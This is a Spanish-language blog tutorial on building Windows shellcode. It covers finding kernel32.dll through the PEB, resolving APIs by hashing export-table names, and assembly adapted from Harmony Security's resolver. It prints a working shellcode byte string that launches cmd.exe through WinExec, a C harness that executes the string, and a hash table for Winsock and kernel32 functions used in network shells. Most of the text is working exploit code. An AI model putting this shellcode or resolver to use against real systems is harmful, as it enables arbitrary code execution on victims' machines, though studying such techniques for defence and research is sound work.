Creando una Shellcode: Direccion de kernel32 y calls especiales
Direccion de kernel32 y calls especiales
Articulo previo: Creando una Shellcode
por lShadowl
———————————————————————————————————–
Siguiendo con el tema de las shellcodes, en este articulo se vera el problema de shellcodes para versiones de SO especificos en los que la llamada a la API se hace directamente. Se expondra como obtener la direccion actual donde se ha cargado kernel32.dll y como llamar funciones.
———————————————————————————————————–
Teoria
Nota: Info sobre las estructuras: http://ntinternals.net/ ; http://msdn.microsoft.com/
Para encontrar la direccion de kernel32 hay varios metodo de los cuales los mas notables son usando: PEB (el que explicare en este articulo), SEH (Structured Exception Handling) y TOPSTACK (basado en el uso del TEB //Thread Environment Block).
PEB (Process Environment Block) es una estructura que contiene la informacion de los procesos cargados en Windows. Su estructura es la siguiente:
typedef struct _PEB {
BYTE Reserved1[2];
BYTE BeingDebugged;
BYTE Reserved2[1];
PVOID Reserved3[2];
PPEB_LDR_DATA Ldr;
PRTL_USER_PROCESS_PARAMETERS ProcessParameters;
BYTE Reserved4[104];
PVOID Reserved5[52];
PPS_POST_PROCESS_INIT_ROUTINE PostProcessInitRoutine;
BYTE Reserved6[128];
PVOID Reserved7[1];
ULONG SessionId;
}PEB, *PPEB;
La direccion de esta estructura se en fs:[0x30], esto quiere decir que con:
mov ebx,fs:[0x30]
podemos tener en ‘eax’ un puntero a PEB. Pero para que nos sirve tener acceso a PEB?
En la estructura del PEB podemos ver que uno de sus valores es un puntero a LDR_DATA:
PPEB_LDR_DATA Ldr;
Ahora, veamos la estructura de PEB_LDR_DATA:
typedef struct _PEB_LDR_DATA {
ULONG Length;
BOOLEAN Initialized;
PVOID SsHandle;
LIST_ENTRY InLoadOrderModuleList;
LIST_ENTRY InMemoryOrderModuleList;
LIST_ENTRY InInitializationOrderModuleList;
} PEB_LDR_DATA, *PPEB_LDR_DATA;
Bien, lo que nos interesa aqui es la list entry:
LIST_ENTRY InLoadOrderModuleList;
Que contiene un puntero a la informacion de los modulos cargados en orden descendiente del primero al ultimo. Su estructura es la siguiente:
typedef struct _LDR_MODULE {
LIST_ENTRY InLoadOrderModuleList;
LIST_ENTRY InMemoryOrderModuleList;
LIST_ENTRY InInitializationOrderModuleList;
PVOID BaseAddress;
PVOID EntryPoint;
ULONG SizeOfImage;
UNICODE_STRING FullDllName;
UNICODE_STRING BaseDllName;
ULONG Flags;
SHORT LoadCount;
SHORT TlsIndex;
LIST_ENTRY HashTableEntry;
ULONG TimeDateStamp;
} LDR_MODULE, *PLDR_MODULE;
Que es la que usaremos para filtrar la direccion del kernel32.dll y las demas APIs que usaremos.
———————————————————————————————————–
Encontrando la direccion de kernel32.dll
Para filtrar los datos del PEB partimos en tener un puntero a PEB:
mov ebx, fs:[0x30]
Ahora necesitamos apuntar a InLoadOrderModuleList de LDR
mov ebx, [ebx+0x0C] ;puntero a LDR mov ebx, [ebx+0x1C] ;puntero a InLoadOrderModuleList
Ahora solo resta filtrar el contenido para tener en ebx la direccion de kernel32
mov ebx, [ebx] mov ebx, [ebx + 0x08]
Entonces tendremos como codigo resultante:
xor ebx, ebx ;ebx a 0 mov ebx, fs:[0x30] ;apuntamos a PEB mov ebx, [ebx+0x0C] ;LDR a edx mov ebx, [ebx+0x1C] ;InInitializationOrderModuleList a edx mov ebx, [ebx] mov ebx, [ebx+0x08] ;direccion de kernel32.dll a ebx
Comparemos como funciona vs GetModuleHandleA():
#include <windows.h>
#include <stdio.h>
int main()
{
DWORD kernelAdd;
printf("usando GetModuleHandleA(): %08X", (DWORD)GetModuleHandleA("kernel32.dll"));
__asm{
xor ebx, ebx
mov ebx, fs:[0x30]
mov ebx, [ebx+0x0C]
mov ebx, [ebx+0x1C]
mov ebx, [ebx]
mov ebx, [ebx+0x08]
mov kernelAdd, ebx
}
printf("\ncon PEB: %8X", kernelAdd);
return 0;
}

Como podemos ver, las direcciones resultantes (en mi caso: “7C800000″ //win XP Pro sp3) son identicas. El metodo funciona.
———————————————————————————————————–
Mas teoria
Bien, ya aprendimos sobre la estructura del PEB y del LDR y como manejarlas para conseguir la direccion de un modulo. Para esta seccion es necesario conocer los terminos RVA (Relative Virtual Address) y EAT (Export Address Table). Para esto estudiaremos la cabecera opcional de los PE que es la que provee informacion al loader de windows.
Esta cabecera se divide en tres partes mayores: campos standard, campos especificion de windows y directorios de datos. >>

De estos campos nos interesaremos en la parte de los directorios de datos. >>

EAT – Export Address Table
La tabla de direccion de la exportacion contiene la direccion de los puntos de entrada, datos y absolutos exportados. Un numero ordinal se utiliza para poner en un indice la tabla de direccion de la exportacion, despues de restar el valor del campo bajo ordinal para conseguir un indice verdadero, basado en cero. (Asi, si la base ordinal se fija a 1, un valor comun, un ordinal de 6 es igual que un índice basado en cero de 5.)
Cada entrada en la tabla de direcciones de exportacion es un campo que utiliza uno de dos formatos, segun las indicaciones de la tabla siguiente. Si la direccion especificada no estáadentro de la seccion de exportacion (segun lo definido por la direccion y la longitud indicadas en el jefe opcional), el campo es una exportacion RVA: una dirección real en codigo o datos. Si no, el campo es un promotor RVA, que nombra un símbolo en otro DLL.

Es necesario saber las estructuras con que se trabaja, para mas info: MSDN.
———————————————————————————————————–
Llamando a las APIs
El metodo a exponer es algo vago, revisamos cada modulo cargado, como vimos anteriormente con LDR pero ahora usaremos la lista en orden de posicion de memoria, y comparamos cada funcion del modulo con la funcion que necesitamos llamar, al encontrarla, la llamamos
.
Analicemos como hacer las llamadas siguiendo los pasos anteriores:
api_call: pushad ;registros a pila mov ebp, esp xor edx, edx mov edx, [fs:edx+48] ;puntero a PEB mov edx, [edx+12] ;puntero a LDR mov edx, [edx+20] ;puntero al primer modulo de la lista de InMemoryOrder next_mod: mov esi, [edx+40] ;puntero al nombre de los modulos movzx ecx, word [edx+38] ;logitud a verficar xor edi, edi loop_modname: xor eax, eax lodsb cmp al, 'a' ;el nombre del modulo esta en minuscula jl not_lowercase ;lo pasamos sub al, 0x20 ;a mayuscula not_lowercase: ror edi, 13 ;rotamos hacia la derecha add edi, eax ;el valor del hash loop loop_modname ;hasta ecx=0 push edx ;Posicion push edi ;y hash del modulo actual a pila mov edx, [edx+16] ;direccion base del modulo a edx mov eax, [edx+60] ;cabecera PE a eax add eax, edx mov eax, [eax+120] ;EAT a eax test eax, eax ;hay EAT? jz get_next_mod1 ;no, siguiente modulo add eax, edx push eax ;EAT del modulo a pila mov ecx, [eax+24] ;numero de funciones del modulo a ecx mov ebx, [eax+32] ;RVA de las funciones a ebx add ebx, edx get_next_func: jecxz get_next_mod ;si no quedan mas funciones, vamos con el siguiente modulo dec ecx ;numero de la funcion - 1 mov esi, [ebx+ecx*4] ;RVA de la funcion a esi add esi, edx xor edi, edi loop_funcname: xor eax, eax lodsb ;byte por byte del nombre de la funcion en ASCII ror edi, 13 ;buscamos add edi, eax ;el caracter cmp al, ah ;nulo que indica el final de la cadena jne loop_funcname ;hasta tener el hash completo de la funcion add edi, [ebp-8] ;edi=hash del modulo+hash de la funcion cmp edi, [ebp+36] ;es la que buscamos? jnz get_next_func ;no, sigamos con la siguiente funcion pop eax ;EAT del modulo a eax mov ebx, [eax+36] ;conseguimos RVA add ebx, edx ;le a?adimos la direccion base del modulo mov cx, [ebx+2*ecx] mov ebx, [eax+28] ;RVA de la funciones a ebx add ebx, edx ;le a?adimos la direccion base del modulo mov eax, [ebx+4*ecx] ;RVA de la funcion que queremos a eax add eax, edx ;le a?adimos la direccion base del modulo y listo, en eax tenemos la direccion virtual de la funcion finish: mov [esp+36], eax ;viene un popad asiq salvamos eax, escribiendolo sobre el valor anterior pop ebx ;arreglamos la pila pop ebx popad pop ecx pop edx push ecx jmp eax ;llamamos a la funcion get_next_mod: pop eax ;EAT del siguiente modulo a eax get_next_mod1: pop edi ;hash del siguiente modulo a eax pop edx ;posicion donde quedamos en la lista de modulos a edx mov edx, [edx] ;puntero al siguiente modulo jmp short next_mod ;Harmony Security
Bien, ya tenemos como obtener la direccion virtual de la funcion que necesitamos llamar, probemos:
[BITS 32] cld ;bandera de direccion a cero call start ;puntero de api_call a la pila api_call: ;(...) ;codigo de api_call ;(...) start: pop ebp ;puntero de api_call a ebp jmp command ;comando a ejecutar va a pila exec: push 0x876F8B31 ;hash para WinExec a pila call ebp ;llamamos a api_call push 0x56A2B5F0 ;hash para ExitProcess a pila call ebp ;llamamos a api_call command: call exec db "cmd.exe ", 0
Bien, ya tenemos la shellcode, pasamos a Opcodes y encapsulamos en C:
char code[] = "\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\xe3\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b\x12\xeb\x86\x5d\xe9\x0e\x00\x00\x00\x68\x31\x8b\x6f\x87\xff\xd5\x68\xf0\xb5\xa2\x56\xff\xd5\xe8\xed\xff\xff\xff\x63\x6d\x64\x2e\x65\x78\x65\x20\x00";
int main()
{
int (*func)();
func = (int (*)()) code;
(int)(*func)();
}
Funciona?

Si funciono.
Algunos hashes muy usados:
0x006B8029, "ws2_32.dll!WSAStartup" 0xE0DF0FEA, "ws2_32.dll!WSASocketA" 0x6737DBC2, "ws2_32.dll!bind" 0xFF38E9B7, "ws2_32.dll!listen" 0xE13BEC74, "ws2_32.dll!accept" 0x614D6E75, "ws2_32.dll!closesocket" 0x6174A599, "ws2_32.dll!connect" 0x5FC8D902, "ws2_32.dll!recv" 0x5F38EBC2, "ws2_32.dll!send" 0x5BAE572D, "kernel32.dll!WriteFile" 0x4FDAF6DA, "kernel32.dll!CreateFileA" 0x13DD2ED7, "kernel32.dll!DeleteFileA" 0xE449F330, "kernel32.dll!GetTempPathA" 0x528796C6, "kernel32.dll!CloseHandle" 0x863FCC79, "kernel32.dll!CreateProcessA" 0xE553A458, "kernel32.dll!VirtualAlloc" 0x300F2F0B, "kernel32.dll!VirtualFree" 0x0726774C, "kernel32.dll!LoadLibraryA" 0x7802F749, "kernel32.dll!GetProcAddress" 0x601D8708, "kernel32.dll!WaitForSingleObject" 0x876F8B31, "kernel32.dll!WinExec" 0x9DBD95A6, "kernel32.dll!GetVersion" 0xEA320EFE, "kernel32.dll!SetUnhandledExceptionFilter" 0x56A2B5F0, "kernel32.dll!ExitProcess" 0x0A2A1DE0, "kernel32.dll!ExitThread" 0x6F721347, "ntdll.dll!RtlExitUserThread" 0x23E38427, "advapi32.dll!RevertToSelf"
Saludos!
Acerca de esta Entrada
Estás leyendo “Creando una Shellcode: Direccion de kernel32 y calls especiales,” una entrada de SSW
- Publicado:
- septiembre 12, 2009 / 11:58 pm
- Categoría:
- Tutoriales & Manuales
- Etiquetas:
- API, busqueda, creacion, creando, crear, kernel32, lShadowl, shellcode, shellcoding, The Shadow
2 comentarios
Ir al formulario de comentarios | Comentarios RSS [?] | trackback uri [?]